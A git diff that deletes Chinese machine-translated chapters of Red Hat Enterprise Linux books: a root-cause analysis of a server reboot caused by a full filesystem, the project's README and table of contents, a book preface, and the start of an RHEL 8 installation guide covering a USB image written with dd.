-为了说明前面的要点,我创建了一个名为“`somedir`”的目录,并在其中放置了一个 4 kb 的文件。 我们可以从随后的`du`命令中看到,`/var/tmp`目录现在显示使用了 164 kb。 - -`du`命令有许多标志,允许我们更改它输出磁盘使用情况的方式。 在前面的示例中,由于使用了`–h`标志,这些值以人类可读的格式打印。 在一行代码中,由于`–k`标志,这些值以千字节表示: - -```sh -2512948 /opt/myapp/logs -34218392 /opt/myapp/queue -36731428 /opt/myapp -36755164 /opt -38222996 / - -``` - -如果我们回到一行程序,我们可以从输出中看到,从`/`中使用的 38 GB, 34 GB 在`/opt/myapp/queue`目录中。 这个目录对我们来说非常熟悉,因为我们在前面的章节中对这个目录进行了故障诊断。 - -根据我们以前的经验,我们知道这个目录用于对通过自定义应用接收的消息进行队列。 - -根据这个目录的大小,可能在重新引导之前,自定义应用在这个服务器上运行并填满了文件系统。 - -我们已经知道这个目录占用了系统上的大部分空间。 确定这个目录下的最后一个文件是什么时候创建的是很有用的,因为这将给我们一个粗略的时间框架,知道这个应用最后一次运行的时间: - -```sh -# ls -l -total 368572 -drwxrwxr-x. 2 vagrant vagrant 40 Jun 10 17:03 bin -drwxrwxr-x. 2 vagrant vagrant 23 Jun 10 16:55 conf -drwxrwxr-x. 2 vagrant vagrant 49 Jun 10 16:40 logs -drwxr-xr-x. 2 root root 272932864 Jul 5 01:50 queue --rwxr-xr-x. 1 vagrant vagrant 116 Jun 10 16:56 start.sh - -``` - -我们可以通过在`/opt/myapp`目录中执行`ls`来实现这一点。 从上面的输出可以看出,`queue/`目录最后一次修改是在 7 月 5 日 01:50。 这与我们的问题很好地相关,至少证明了自定义应用是在重新引导之前运行的。 - -### 提示 - -这个目录最后一次更新的时间戳和这个应用正在运行的事实都是我们将在总结中标注的项。 - -根据前面的信息,此时我们可以有把握地说,在事件发生时,自定义应用正在运行,并且已经创建了足够多的文件来填满文件系统。 - -我们还可以说,在文件系统使用率达到 100%的时候,服务器的平均负载突然出现了峰值。 - -根据这些事实,我们可以创造一个假设; 我们当前的工作原理是,一旦应用填充了文件系统,它就不能再创建文件了。 这可能会导致同一个应用阻塞 CPU 时间或产生许多 CPU 任务,从而导致较高的平均负载。 - -## 为什么没有处理队列目录? - -因为我们知道自定义的应用是文件系统问题的根源,所以我们还需要回答为什么。 - -在前面的章节中,您了解到此应用的队列目录由作为“`vagrant`”用户运行的`cronjob`处理。 让我们通过查看`/var/log/cron`日志文件来看看 cron 作业最后一次运行是什么时候: - -```sh -Jun 6 15:28:01 localhost CROND[3115]: (vagrant) CMD (/opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null) - -``` - -根据`/var/log/cron`目录,作业最后一次运行是`June 6th`。 这个时间轴大致与此进程被移动到另一个系统的时间轴一致,在此之后服务器耗尽了内存。 - -是否可能是处理器作业已经停止,而应用没有停止? 可能,我们知道应用正在运行,但是让我们检查一下`processor`作业。 - -我们可以使用`crontab`命令检查处理器作业是否已被移除: - -```sh -# crontab -l -u vagrant -#*/4 * * * * /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null - -``` - -`–l`(list)标志将导致`crontab`命令打印或列出为执行该命令的用户定义的 cronjobs。 当添加`-u`(user)标志时,它允许我们指定一个用户来列出`vagrant`用户的 cronjob。 - -从列表中可以看出,`processor`作业并没有被删除,而是被禁用了。 我们可以看到它已被禁用,因为该行以`#`开头,它用于指定`crontab`文件中的注释。 - -这本质上把作业变成了一个注释,而不是一个预定的作业。 这意味着`crond`进程将不会执行此作业。 - -## 一个关于你所学内容的检查点 - -现在,让我们对能够识别和收集的内容进行检查。 - -登录到系统后,我们能够确定服务器已经重新启动。 我们可以在`/var/log/messages`中看到`watchdog`进程负责重新启动服务器: - -```sh -Jul 5 01:50:02 localhost watchdog[608]: loadavg 25 9 3 is higher than the given threshold 24 18 12! - -``` - -看门狗进程根据`/var/log/messages`日志提示,由于服务器负载过高重启服务器。 从`sar`可以看到,负载平均在几分钟内从 0 上升到 25。 - -在执行我们的调查时,我们还能够确定服务器的`/`(根)文件系统已满。 它不仅是满的,而且有趣的是,在系统重新启动前的几分钟,它的利用率大约是 100%。 - -文件系统处于这种状态的原因是`/opt/myapp`中的自定义应用仍然在`/opt/myapp/queue`中运行并创建文件。 但是,清除该队列的作业没有运行,因为它已经在流浪用户的`crontab`中被注释掉了。 - -基于此,我们可以说问题的根本原因很可能是由于文件系统被填满,这是由于应用正在运行但没有处理消息。 - -### 有时你无法证明一切 - -现在,我们已经确定了导致高平均负载的所有原因。 由于我们没有事件发生时正在运行的进程的快照,所以我们不能肯定地说它是自定义应用。 根据所收集到的信息,我们也不能肯定地说它是由于文件系统已满而触发的。 - -我们可以通过在另一个系统中复制这个场景来测试这个理论,但这并不一定是在周末凌晨 2 点进行的事情。 将问题复制到那种程度通常需要作为后续活动来执行。 - -在这一点上,根据我们所能找到的数据,我们可以合理地确定根本原因。 在许多情况下,这是您所能得到的最接近的结果,因为您可能没有时间来收集或根本没有数据来根据您的根本原因。 - -# 防止再次发生 - -由于我们对所发生的事情的假设非常有信心,现在我们可以进入根本原因分析的最后一步; 防止问题再次发生。 - -正如我们在本章开头所讨论的,所有有用的根本原因分析报告都包括一个行动计划。 有时,这个行动计划是在问题发生时立即执行的。 有时,这个计划是以后作为一个长期的决议来执行的。 - -对于我们的问题,我们将同时采取立即行动和长期行动。 - -## 立即行动 - -我们需要立即采取的第一个行动是确保系统的主要功能是健康的。 在这种情况下,服务器的主要功能是为公司的博客提供服务。 - -![Immediate action](img/00009.jpeg) - -通过在浏览器中访问博客地址,这很容易检查。 我们可以从前面的屏幕截图中看到,这个博客正在按预期工作。 为了确保,我们可以验证 Apache 服务是否也在运行: - -```sh -# systemctl status httpd -httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled) - Active: active (running) since Sun 2015-07-05 01:50:36 UTC; 3 days ago - Main PID: 1015 (httpd) - Status: "Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec" - CGroup: /system.slice/httpd.service - ├─1015 /usr/sbin/httpd -DFOREGROUND - ├─2315 /usr/sbin/httpd -DFOREGROUND - ├─2316 /usr/sbin/httpd -DFOREGROUND - ├─2318 /usr/sbin/httpd -DFOREGROUND - ├─2319 /usr/sbin/httpd -DFOREGROUND - ├─2321 /usr/sbin/httpd -DFOREGROUND - └─5687 /usr/sbin/httpd -DFOREGROUND - -Jul 05 01:50:36 blog.example.com systemd[1]: Started The Apache HTTP Server. - -``` - -从这一点来看,我们的 web 服务器在重启后一直处于在线状态,这很好,因为这意味着博客在重启后也一直在工作。 - -### 提示 - -有时,根据系统的临界程度,甚至在调查问题之前,首先验证系统是否启动并运行可能是很重要的。 就像任何事情一样,这真的取决于环境,因为有严格的规则来决定谁先来。 - -既然我们知道 blog 按预期工作,那么我们需要解决磁盘已满的问题。 - -```sh -# ls -la /opt/myapp/queue/ | wc -l -495151 - -``` - -与前面的章节一样,似乎`queue`目录有相当多的消息等待处理。 为了正确地清除这个问题,我们需要手动运行`processor`命令,但是我们也必须采取一些额外的步骤: - -```sh -# sysctl -w fs.file-max=500000 -fs.file-max = 500000 - -``` - -我们必须采取的第一步是增加系统一次可以打开的文件数量。 我们从过去处理处理器应用和大量消息的经验中了解到这一点。 - -```sh -# su - vagrant -$ ulimit -n 500000 -$ ulimit -a -core file size (blocks, -c) 0 -data seg size (kbytes, -d) unlimited -scheduling priority (-e) 0 -file size (blocks, -f) unlimited -pending signals (-i) 7855 -max locked memory (kbytes, -l) 64 -max memory size (kbytes, -m) unlimited -open files (-n) 500000 -pipe size (512 bytes, -p) 8 -POSIX message queues (bytes, -q) 819200 -real-time priority (-r) 0 -stack size (kbytes, -s) 8192 -cpu time (seconds, -t) unlimited -max user processes (-u) 4096 -virtual memory (kbytes, -v) unlimited -file locks (-x) unlimited - -``` - -第二步是增加施加给`vagrant`用户的用户限制; 具体来说,是打开文件的数量限制。 这个步骤需要在我们将要执行`processor`命令的同一个 shell 会话中执行。 一旦该步骤完成,我们可以手动执行`processor`命令来处理排队的消息: - -```sh -$ /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting message processing job -Added 495151 to queue -Processing 495151 messages -Processed 495151 messages - -``` - -现在消息已经处理完毕,我们可以使用`df`命令重新检查文件系统的利用率: - -```sh -# df -h -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/centos-root 39G 3.8G 35G 10% / -devtmpfs 491M 0 491M 0% /dev -tmpfs 498M 0 498M 0% /dev/shm -tmpfs 498M 13M 485M 3% /run -tmpfs 498M 0 498M 0% /sys/fs/cgroup -/dev/sda1 497M 104M 394M 21% /boot - -``` - -正如我们所看到的,`/`文件系统的利用率下降到了`10`百分比。 - -为了确保我们不会再次填满这个文件系统,我们验证自定义应用当前是否停止: - -```sh -# ps -elf | grep myapp -0 R root 6535 2537 0 80 0 - 28160 - 15:09 pts/0 00:00:00 grep --color=auto myapp - -``` - -因为我们看不到在应用名称下运行的任何进程,所以我们可以确定应用当前没有运行。 - -## 长期行动 - -这就引出了我们的**长期行动**。 长期行动是我们将在根本原因总结中建议的行动,但现在还没有采取。 - -对的第一个长期建议是将自定义应用永久地从系统中删除。 因为我们知道应用已经迁移到另一个系统,所以在这个服务器上应该不再需要它了。 然而,我们不应该在凌晨 2 点删除这个应用,或者在没有验证它真的不再需要的情况下删除它。 - -第二个长期操作是研究添加监视解决方案,该解决方案可以对正在运行的进程和这些进程的 CPU/状态进行定期快照。 如果我们在这次 RCA 调查中获得了这些信息,我们就能够毫无疑问地证明,是哪个过程导致了高负载。 由于无法获得这些信息,我们只能做出有根据的猜测。 - -再说一遍,这不是我们想要在深夜打电话时完成的任务,而是一个标准工作日的任务。 - -# 一个根本原因分析样本 - -现在我们已经获得了所需的所有信息,让我们创建一个根本原因分析报告。 实际上,这份报告可以采用任何格式,但我发现以下几条很管用。 - -## 问题总结 - -大约在 2015 年 7 月 5 日 1:50 A.M.,服务器`blog.example.com`意外重启。 由于服务器上的平均负载很高,`watchdog`进程启动了重新引导进程。 - -经过调查,高平均负载似乎是由一个自定义电子邮件应用引起的,该应用虽然已迁移到另一个服务器,但仍处于运行状态。 - -从可用的数据来看,应用似乎消耗了 100%的根文件系统。 - -虽然我无法获得重启前的进程状态,但平均高负载似乎也可能是由于同一个应用无法写入磁盘。 - -## 问题细节 - -事件发生时间:2015 年 05 月 07 日`01:52` - -事件发生的时间线是: - -* 通过`01:52`发送的短信提示:`blog.example.com`无法通过 ICMP ping 到达。 -* 执行的第一个故障排除步骤是 ping 服务器: - * ping 表明服务器处于在线状态 -* 登录到服务器`01:59`,并确定服务器已经重新启动。 -* 搜索`/var/log/messages`文件,发现看门狗进程在`01:50:12`重新启动服务器: - * 由于平均负载过高,看门狗启动重启进程`01:50:02` - * 在调查过程中,我们发现在事件发生时没有用户登录 - * 服务器在`01:50:32`启动引导进程 -* 在调查期间,发现服务器在`01:48:01`处已经耗尽了可用磁盘空间。 -* 该系统的平均负载大约在同一时间开始增加,在`01:50:05`达到 25。 -* 我们发现`/opt/myapp/queue`目录最后一次修改是在`01:50`,并且包含大约 34 GB 的数据,创建了 100%的磁盘利用率: - * 这表明自定义电子邮件应用一直在运行,直到服务器重新启动 -* 我们发现`processor`作业自 6 月 6 日以来没有运行,这意味着消息没有被处理。 - -## 根本原因 - -由于自定义应用在没有通过 cron 执行`processor`作业的情况下运行,文件系统的利用率达到 100%。 收集到的数据表明,这会导致较高的平均负载,从而触发`watchdog`进程重新引导服务器。 - -## 行动计划 - -我们应该有以下的步骤到位: - -* 验证 Apache 正在运行且`Blog`可访问 -* 验证自定义应用在系统重新启动后没有运行 -* 在 02:15 手动执行处理器作业,解决磁盘空间问题 - -### 待采取的进一步行动 - -* 从服务器中删除自定义应用,以防止应用意外启动 -* 研究进程列表监控的添加,以捕获在类似问题期间哪些进程正在利用 CPU 时间: - * 将有助于解决任何类似的情况,如果他们发生 - -正如您在前面的报告中看到的,我们有一个高层次的时间表,展示了我们能够识别什么,我们如何识别它,以及我们为解决问题所采取的行动。 做好根本原因分析的所有关键部分。 - -# 总结 - -在本章中,我们介绍了如何应对一个非常困难的问题:意外重启。 我们使用贯穿本书的工具和方法来确定根本原因并创建一个根本原因报告。 - -我们在本书中大量使用日志文件; 在本章中,我们能够使用这些日志来识别重新启动服务器的进程。 我们还确定了`watchdog`决定重新启动服务器的原因,这是由于平均负载过高。 - -我们能够使用诸如`sar`、`df`、`du`和`ls`等工具来确定高平均负载的时间和原因。 所有这些工具都是您在本书中所学到的命令。 - -在最后一章中,我们介绍了本书前面提到的一些例子。 您学习了如何排除 web 应用、性能问题、自定义应用和硬件问题。 我们使用了现实世界的例子和现实世界的解决方案。 - -虽然本书涵盖了相当多的主题,但本书的目标是向您展示在 Red Hat Enterprise Linux 系统中故障诊断的概念。 这些示例可能很常见,也可能很少,但这些示例中使用的命令是日常故障排除过程中使用的命令。 所涵盖的所有主题都提供了 Linux 的核心能力,并将为您提供必要的知识,以排除本书未直接涉及的问题。 \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/README.md b/docs/rhel-troubleshoot-guide/README.md deleted file mode 100644 index 97c2612a..00000000 --- a/docs/rhel-troubleshoot-guide/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 红帽企业 Linux 故障排除指南 - -> 原文:[Red Hat Enterprise Linux Troubleshooting Guide](https://libgen.rs/book/index.php?md5=4376391B1DCEF164F3ED989478713CD5) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/rhel-troubleshoot-guide/SUMMARY.md b/docs/rhel-troubleshoot-guide/SUMMARY.md deleted file mode 100644 index 59f95864..00000000 --- a/docs/rhel-troubleshoot-guide/SUMMARY.md +++ /dev/null @@ -1,14 +0,0 @@ -+ [红帽企业 Linux 故障排除指南](README.md) -+ [零、前言](00.md) -+ [一、故障诊断的最佳实践](01.md) -+ [二、故障排除命令和有用信息的来源](02.md) -+ [三、Web 应用故障排除](03.md) -+ [四、故障诊断性能问题](04.md) -+ [五、网络故障排除](05.md) -+ [六、诊断和纠正防火墙问题](06.md) -+ [七、文件系统错误和恢复](07.md) -+ [八、硬件故障排除](08.md) -+ [九、使用系统工具排除应用故障](09.md) -+ [十、理解 Linux 用户和内核限制](10.md) -+ [十一、常见故障恢复](11.md) -+ [十二、意外重启的根本原因分析](12.md) diff --git a/docs/rhel8-admin/00.md b/docs/rhel8-admin/00.md deleted file mode 100644 index 07569946..00000000 --- a/docs/rhel8-admin/00.md +++ /dev/null @@ -1,125 +0,0 @@ -# 零、前言 - -Linux 无处不在,从个人设备到最大的超级计算机,从大学的计算机实验室到华尔街或国际空间站,甚至火星! **Red Hat Enterprise Linux**(简称**RHEL**)是在企业环境中使用最多的 Linux 发行版,知道如何使用它对任何技术人员来说都是一项关键技能。 无论您是完全热衷于管理基础设施,还是您是一个有兴趣了解更多要部署的平台的开发人员,学习 Linux—更准确地说,是 RHEL—将帮助您更有效,甚至可以促进您的职业生涯。 - -在本书中,我们从非常实际的角度介绍了基本的 RHEL 管理技能,并提供了我们从“战壕中”的经验中学到的示例和技巧。 你将能够从开始到结束跟随它,能够练习每一步,同时学习如何建造和为什么他们这样做。 - -我们希望您能喜欢这本书,并充分利用它,并且在阅读之后,您最终会有一个强大的 RHEL 管理技能基础。 这就是我们写它的原因。 - -喜欢阅读… 和练习! - -# 这本书是写给谁的 - -有志于使用 Linux 构建和工作于 IT 基础设施的任何人都将从本书中受益,因为它可以作为不同有用任务、技巧和最佳实践的参考。 它将帮助任何寻求通过 Red Hat 认证系统管理员(RHCSA)考试的人,尽管它将不能替代官方培训,在整个过程中,实验室和专门设计的测试将运行。 书的范围调整到 RHCSA,从现实世界的经验和许多实际的例子与建议扩展它。 - -# 这本书的内容 - -[*第 1 章*](01.html#_idTextAnchor014),*安装 RHEL8*,涵盖了 RHEL 的安装,从获取软件和订阅到系统本身的安装。 - -[*第二章*](02.html#_idTextAnchor023),*RHEL8 高级安装选项*,介绍了安装程序的高级用例,包括在云中部署实例和自动化安装。 - -[*第三章*](03.html#_idTextAnchor029),*基本命令和简单 Shell 脚本*,解释了系统管理期间将使用的日常命令,以及如何通过 Shell 脚本实现自动化。 - -第四章[](04.html#_idTextAnchor059)*,*常规操作工具,显示了这简单的工具都可以在我们的系统,可用于常规的日常运营,比如启动或启用系统服务或审查通过日志系统中发生了什么。** - - **[*第五章*](05.html#_idTextAnchor081),*通过用户、组和权限保护系统*,介绍了如何在任何 Linux 系统中管理用户、组和权限,以及在 Red Hat Enterprise Linux 上的一些细节。 - -[*第六章*](06.html#_idTextAnchor096),*使能网络连接*,介绍了将系统连接到网络的步骤和可能的配置方法。 - -[*第七章*](07.html#_idTextAnchor111),*添加、修补和管理软件*,回顾了在我们的系统中可以管理添加、删除和更新的步骤,包括升级和回滚的示例。 - -[*第八章*](08.html#_idTextAnchor119),*远程管理系统*,介绍了如何远程连接到您的系统以提高效率。 它包括使用`ssh`连接来创建密钥和使用终端多路复用器(`tmux`)。 - -[*第 9 章*](09.html#_idTextAnchor135),*通过防火墙保护网络连接*,指导您在 RHEL 中如何配置网络防火墙,以及如何正确地管理它,包括管理区域、服务和端口。 - -[*第十章*](10.html#_idTextAnchor143),*用 SELinux 加固系统*,介绍了 SELinux 的用法和基本故障排除。 - -[*第 11 章*](11.html#_idTextAnchor152),*带有 OpenSCAP 的系统安全配置文件*,解释了如何使用 OpenSCAP 运行安全配置文件,并根据典型规则检查 RHEL 的遵从性。 - -[*第十二章*](12.html#_idTextAnchor160),*管理本地存储和文件系统*,涵盖了文件系统的创建、挂载点和一般存储管理。 - -[*第 13 章*](13.html#_idTextAnchor169),*LVM 的灵活存储管理*,解释了 LVM 如何通过能够添加磁盘和扩展逻辑卷来实现更灵活的存储管理。 - -[*第 14 章*](14.html#_idTextAnchor184),*先进的存储管理和层云 VDO*,介绍 VDO 和如何使用它在我们的系统中删除处理存储,以及更容易使用、使用管理存储。 - -[*第 15 章*](15.html#_idTextAnchor194),*了解引导过程*,解释了系统如何引导以及使其重要的细节。 - -[*第 16 章*](16.html#_idTextAnchor200),*通过调优的内核调优和管理性能配置文件*,解释了内核调优的工作原理以及如何使用调优的预定义配置文件的使用。 - -[*第 17 章*](17.html#_idTextAnchor207),*使用 Podman, Buildah 和 Skopeo 管理容器*涵盖了管理和构建容器的容器和工具。 - -[*第十八章*](18.html#_idTextAnchor223),*练习题- 1*,让你测试你所学的知识。 - -[*第十九章*](19.html#_idTextAnchor266),*练习题- 2*,提供对你所学知识的更复杂的测试。 - -# 为了最大限度地了解这本书 - -所有的软件需求都将在章节中说明。 请注意,本书假设您能够访问一个物理或虚拟机,或者能够访问互联网来创建一个云帐户,以便执行本书将指导您完成的操作。 - -![](img/Preface_Table.jpg) - -**如果你正在使用这本书的数字版本,我们建议你自己输入代码,或者从这本书的 GitHub 存储库获取代码(在下一节中有链接)。 这样做将帮助您避免任何与复制和粘贴代码相关的潜在错误。** - -# 下载示例代码文件 - -你可以从 GitHub 的 https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration 下载这本书的示例代码文件。 如果代码有更新,它将在 GitHub 存储库中更新。 - -我们还可以在 https://github.com/PacktPublishing/上找到丰富的图书和视频目录中的其他代码包。 检查出来! - -# 下载彩色图片 - -我们还提供了一个 PDF 文件,其中有本书中使用的屏幕截图和图表的彩色图像。 你可以在这里下载:[https://static.packt-cdn.com/downloads/9781800569829_ColorImages.pdf](_ColorImages.pdf)。 - -# 使用的约定 - -本书中使用了许多文本约定。 - -`Code in text`:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄。 下面是一个示例:“将下载的`RHEL8.iso`磁盘映像文件作为系统中的另一个磁盘挂载。” - -一段代码设置如下: - -```sh -#!/bin/bash -echo "Hello world" -``` - -当我们希望提请您注意代码块的特定部分时,相关的行或项以粗体显示: - -```sh -[default] -branch = main -repo = myrepo -username = bender -protocol = https -``` - -任何命令行输入或输出都写如下: - -```sh -$ mkdir scripts -$ cd scripts -``` - -**粗体**:表示新词条、重要单词或屏幕上看到的单词。 例如,菜单或对话框中的单词以**粗体**显示。 下面是一个例子:“从**管理**面板中选择**系统信息**。” - -小贴士或重要提示 - -出现这样的。 - -# 联系 - -我们欢迎读者的反馈。 - -**一般反馈**:如果你对这本书的任何方面有疑问,请发电子邮件至`customercare@packtpub.com` ,并在邮件主题中提及书名。 - -**Errata**:尽管我们已尽一切努力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.packtpub.com/support/errata](http://www.packtpub.com/support/errata)并填写表格。 - -**盗版**:如果您在网上看到任何形式的我们作品的非法拷贝,请提供我们的地址或网址,我们将不胜感激。 请通过 copyright@packt.com 联系我们,并提供相关材料的链接。 - -**如果你有兴趣成为一名作家**:如果你有一个你擅长的话题,并且你有兴趣写作或写一本书,请访问[authors.packtpub.com](http://authors.packtpub.com)。 - -# 分享你的想法 - -一旦您阅读了*Red Hat Enterprise Linux 8 Administration*,我们很乐意听到您的想法! 请[点击这里直接进入这本书的亚马逊评论页面](00.html)并分享你的反馈。 - -您的评论对我们和技术社区都很重要,并将帮助我们确保提供优质的内容。** \ No newline at end of file diff --git a/docs/rhel8-admin/01.md b/docs/rhel8-admin/01.md deleted file mode 100644 index 44482cfb..00000000 --- a/docs/rhel8-admin/01.md +++ /dev/null @@ -1,605 +0,0 @@ -# 一、安装 RHEL8 - -开始使用**Red Hat Enterprise Linux**或**RHEL**的第一步是让它运行。 无论是在您自己的笔记本电脑中作为主要系统,在虚拟机中,还是在物理服务器中,为了获得您想要学习使用的系统,它的安装都是必要的。 我们强烈建议您在阅读本书时使用物理或虚拟机来使用系统。 - -在本章中,您将部署自己的 RHEL8 系统,以便能够理解本书中提到的所有示例,并了解更多关于 Linux 的知识。 - -本章所涵盖的主题如下: - -* 获取 RHEL 软件和订阅 -* Installing RHEL8 - -# 技术要求 - -最好的开始方式是使用一个**RHEL8**虚拟机。 您可以在您的主计算机中以虚拟机或物理机的形式进行操作。 在本章的下一节中,我们将回顾这两种选择,您将能够运行自己的 RHEL8 系统。 - -提示 - -虚拟机是一种模拟完整计算机的方法。 为了能够在您自己的笔记本电脑上创建这个仿真计算机,如果您使用的是 macOS 或 Windows,您将需要安装虚拟化软件,例如 Virtual Box。 如果您已经在运行 Linux,那么它已经为虚拟化做好了准备,您只需要添加`virt-manager`包。 - -# 获取 RHEL 软件及订阅 - -要能够部署 RHEL,您需要**Red Hat Subscription**来获取要使用的映像,以及访问带有软件和更新的存储库。 您可以在 Red Hat 开发者门户网站通过以下链接免费获取**开发者订阅**:[developers.redhat.com](http://developers.redhat.com)。 然后你需要遵循以下步骤: - -1. 在[developers.redhat.com](http://developers.redhat.com)登录或创建一个帐户。 -2. Go to the [developers.redhat.com](http://developers.redhat.com) page and click on the **Log In** button: - - ![Figure 1.1 – The developers.redhat.com home page, indicating where to click to log in ](img/B16799_01_001.jpg) - - 图 1.1 - developers.redhat.com 主页,指示单击何处登录 - -3. Once in the login page, use your account or, if you do not have one, create it by clicking on **Register** in the top-right corner or on the **Create one now.** button directly in the registration box, as follows: - - ![Figure 1.2 – Red Hat login page (common to all Red Hat resources) ](img/B16799_01_002.jpg) - - 图 1.2 - Red Hat 登录页面(所有 Red Hat 资源共用) - - 您可以选择在几个服务中使用您的凭据(换句话说,*谷歌*、*GitHub*或*Twitter*),如果您愿意这样做的话。 - -4. Once you have logged in, go to the **Linux** section - - 您可以在内容前面的导航栏中找到**Linux**部分: - - ![Figure 1.3 – Accessing the Linux page at developers.redhat.com ](img/B16799_01_003.jpg) - - 图 1.3 -访问 developers.redhat.com 上的 Linux 页面 - - 点击**下载 RHEL**,它在下一页显示为一个漂亮的按钮: - - ![Figure 1.4 – Accessing the RHEL downloads page at developers.redhat.com ](img/B16799_01_004.jpg) - - 图 1.4 -在 developers.redhat.com 上访问 RHEL 下载页面 - - 然后为**x86_64 (9 GB)**体系结构选择 ISO 映像(这是基于 Intel 和 amd 的计算机中使用的映像): - - ![Figure 1.5 – Choosing the ISO download of RHEL8 for x86_64 ](img/B16799_01_005.jpg) - - 图 1.5 -为 x86_64 选择 RHEL8 的 ISO 下载 - -5. 获得**RHEL8 ISO**图像为: - -![Figure 1.6 – Download dialog for RHEL8 for x86_64 ](img/B16799_01_006.jpg) - -图 1.6 - x86_64 的 RHEL8 下载对话框 - -ISO 映像是一个包含完整 DVD 内容的精确副本的文件(即使我们没有使用 DVD)。 这个文件将随后被用来安装我们的机器,是否倾销到 USB 驱动器为*裸金属安装,打开它对于网络安装,或者将它对于虚拟机安装(或使用带外功能服务器如 IPMI,国际劳工组织,或 iDRAC)* - - *提示 - -为了验证 ISO 图像,并确保我们获得的图像没有被破坏或篡改,可以使用一种称为“校验和”的机制。 校验和是一种检查文件并提供一组字母和数字的方法,这些字母和数字可用于验证文件是否与原始文件完全相同。 Red Hat 在 Customer Portal([https://access.redhat.com/](https://access.redhat.com/))的下载部分提供了一个`sha256`校验和列表。 可以在这里找到描述该过程的文章:[https://access.redhat.com/solutions/8367](https://access.redhat.com/solutions/8367)。 - -我们有软件,在本例中是 ISO 映像,可以在任何计算机上安装 RHEL8。 这些都是在世界范围内的生产机器中使用的相同的位,您可以将自己用于学习目的与您的开发人员订阅。 现在是时候在下一节中尝试一下了。 - -# 安装 RHEL8 - -在本章的部分中,我们将按照典型的安装过程将 RHEL 安装到一台机器上。 我们将遵循默认的步骤,检查每个选项。 - -## 物理服务器安装准备 - -物理的服务器在开始安装之前需要进行一些初始设置。 常见的步骤包括配置磁盘的内部数组*,它连接到网络,准备任何*界面聚合开关*,预计(合作,结合),*准备访问外部磁盘阵列*【显示】(换句话说,光纤通道数组*), 设置带外功能,并保护**BIOS**配置。 - -除了引导序列之外,我们不会讨论这些准备工作的细节。 服务器将需要从外部设备(如*USB u 盘*或*光盘*(无论是物理的还是通过带外功能模拟的)引导(开始加载系统)。 - -要从带有 Linux 或 macOS 的机器上创建可引导的 USB 拇指驱动器,只需使用`dd`应用进行“磁盘转储”即可。 执行以下步骤: - -1. Find your USB device in the system, usually `/dev/sdb` in Linux, or `/dev/disk2` in macOS (in macOS, this command requires special privileges; please run it as `sudo dmesg | grep removable`): - - ```sh - $ dmesg | grep removable - [66931.429805] sd 0:0:0:0: [sdb] Attached SCSI removable disk - ``` - - 重要提示 - - 请非常仔细地验证磁盘名称,因为使用“磁盘转储”的过程将完全覆盖磁盘目标。 - - 检查 USB 是否挂载,如果挂载,请将其卸下(macOS 用户请使用`diskutil list`确定设备是否挂载): - - ```sh - $ lsblk /dev/sdb - NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT - sdb      8:0   1  3,8G  0 disk - ├─sdb1   8:1    1  1,8G  0 part /run/media/miguel/USB - ├─sdb2   8:2    1 10,9M  0 part - └─sdb3   8:3    1 22,9M  0 part - ``` - - 在这种情况下,只有`sdb`磁盘的分区 1(称为`sdb1`)被挂载。 我们需要*卸载*安装的所有分区。 在本例中,这很简单,因为只有一个。 为此,我们可以运行以下命令: - - 重要提示 - - 使用**超级用户**或**sudo,管理任务,比如卸载设备,我们可以开一个【显示】管理员壳(在 Linux 和 unix 类系统`root`)或运行命令使用`sudo`,为当前用户提供管理权限。 当使用`sudo`运行命令时,将要求用户输入他们的密码(不是管理员密码,而是用户自己的密码)来继续执行(这个默认行为可能会在`sudoers`配置文件中被覆盖)。** - - ```sh - **$ sudo umount /dev/sdb1** - ``` - - **转储映像! (警告,这会擦除选定的磁盘!)** - - ```sh - **$ sudo dd if=rhel-8.3-x86_64-dvd.iso of=/dev/sdb bs=512k** - ``` - - **提示** - - **可以使用其他方法创建启动设备。 可以使用其他图形工具创建可以帮助选择映像和目标设备的启动设备。 在 Fedora Linux 